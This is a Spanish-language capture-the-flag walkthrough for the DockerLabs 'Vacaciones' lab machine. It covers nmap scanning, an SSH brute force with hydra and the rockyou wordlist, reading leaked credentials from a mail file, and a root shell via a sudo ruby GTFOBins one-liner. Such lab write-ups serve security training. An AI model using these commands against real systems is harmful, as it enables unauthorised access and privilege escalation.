> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/vacaciones.md).

# Vacaciones

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Vacaciones** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x vacaciones.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F1uhWfbGZ5ZUJDelfDvJO%2FPasted%20image%2020250629160814.png?alt=media&amp;token=0ec6e36f-86bd-4aa3-afc4-299a56581977" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Para desplegar la máquina en Docker, ejecutamos el script proporcionado:

```bash
bash auto_deploy.sh vacaciones.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FM58EWsi0ymac5zTUYwd4%2FPasted%20image%2020250629160845.png?alt=media&amp;token=f571e056-4175-4cb2-a2ae-b0ad860b246a" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Antes de comenzar, verificamos que tenemos conectividad con la máquina objetivo:

```bash
ping -c 1 172.17.0.2
```

El `TTL=64` nos indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCC4lREEnwMnokHJrtxUS%2FPasted%20image%2020250629160928.png?alt=media&amp;token=ce67e46b-cb1b-4833-a04c-b05c32f48abc" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido de puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FaOpUb5VEHsL5Kt8bUPuN%2FPasted%20image%2020250629160946.png?alt=media&amp;token=c3ec1272-eac2-48da-bc10-871cd6ff6784" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Para obtener más información de los puertos abiertos, realizamos un escaneo más detallado:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 7.6p1.
* **Puerto 80:** Apache httpd 2.4.29.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FgxiuAeibkXCrA1hRZJvk%2FPasted%20image%2020250629161011.png?alt=media&amp;token=063590fd-8ce9-42f9-9720-504221f6eff2" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Al acceder al servicio web mediante un navegador (`http://172.17.0.2`), encontramos una página aparentemente vacía.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5iwkBTfQ5L2HXIE67WTz%2FPasted%20image%2020250629161040.png?alt=media&amp;token=ee0f69e4-8349-4c7e-82c9-c55b19e23f28" alt=""><figcaption></figcaption></figure>

Sin embargo, al inspeccionar el código fuente descubrimos un comentario interesante:

```html
<!-- De: Juan Para: Camilo , te he dejado un correo es importante... -->
```

Este comentario nos proporciona dos posibles nombres de usuario válidos en el sistema: `juan` y `camilo`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTEDJGhYMAUdPWwwDi2vb%2FPasted%20image%2020250629161052.png?alt=media&amp;token=0f85ca1b-6103-4417-9d4a-efa44b73a5ee" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Fuerza bruta contra SSH**

Utilizando la información obtenida, realizamos un ataque de fuerza bruta contra el servicio SSH con `hydra`, probando primero con el usuario `camilo`:

```bash
hydra -L camilo -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```

**Resultado:** La contraseña del usuario `camilo` es `password1`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FWY0vRk8qbe9jZsZVBasv%2FPasted%20image%2020250629161148.png?alt=media&amp;token=3bbae28b-acea-4437-ac61-348b139400b0" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso al sistema**

Accedemos al sistema con las credenciales obtenidas mediante SSH:

```bash
ssh camilo@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbB02DwphkwLZjYTwWq1l%2FPasted%20image%2020250629161211.png?alt=media&amp;token=a3963ac0-b3d9-4f31-ae5c-f27b74bf6968" alt=""><figcaption></figcaption></figure>

#### **3.3. Lectura de correo electrónico**

Una vez dentro del sistema, exploramos los directorios del usuario y encontramos un correo electrónico en `/var/mail/camilo`:

```bash
cat /var/mail/camilo/correo.txt
```

El contenido del correo contiene credenciales para el usuario `juan`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fsm8lNq8ylLJslRYjajf8%2FPasted%20image%2020250629161400.png?alt=media&amp;token=a3e761f7-6d1d-43be-9d01-d3a9d0c16220" alt=""><figcaption></figcaption></figure>

#### **3.4. Acceso al sistema con el usuario juan**

Accedemos al sistema como `juan`:

```bash
su juan
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FYy7DhOpP8IykcJ24Jitz%2FPasted%20image%2020250629161419.png?alt=media&amp;token=1df11238-8f01-4487-a8ab-ac3ad387e533" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de privilegios sudo**

Verificamos los privilegios del usuario `juan`:

```bash
sudo -l
```

**Resultado:** El usuario `juan` puede ejecutar `/usr/bin/ruby` como `root` sin proporcionar contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FEr8pyB9BFFRogVYP659C%2FPasted%20image%2020250629161456.png?alt=media&amp;token=dd6505c9-03e1-4359-8d63-b63bee9b5fd6" alt=""><figcaption></figcaption></figure>

#### **4.2. Explotación mediante GTFOBins**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/ruby/) para encontrar una forma de escalar privilegios mediante `ruby`.

Ejecutamos el siguiente comando para obtener una shell como `root`:

```bash
sudo ruby -e 'exec "/bin/sh"'
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Ftc8cWrDcFzDwcdJ41ntM%2FPasted%20image%2020250629161555.png?alt=media&amp;token=e4d32ecf-3b19-4592-ba98-d10917723c31" alt=""><figcaption></figcaption></figure>

Con esto, damos por completada la máquina Vacaciones.
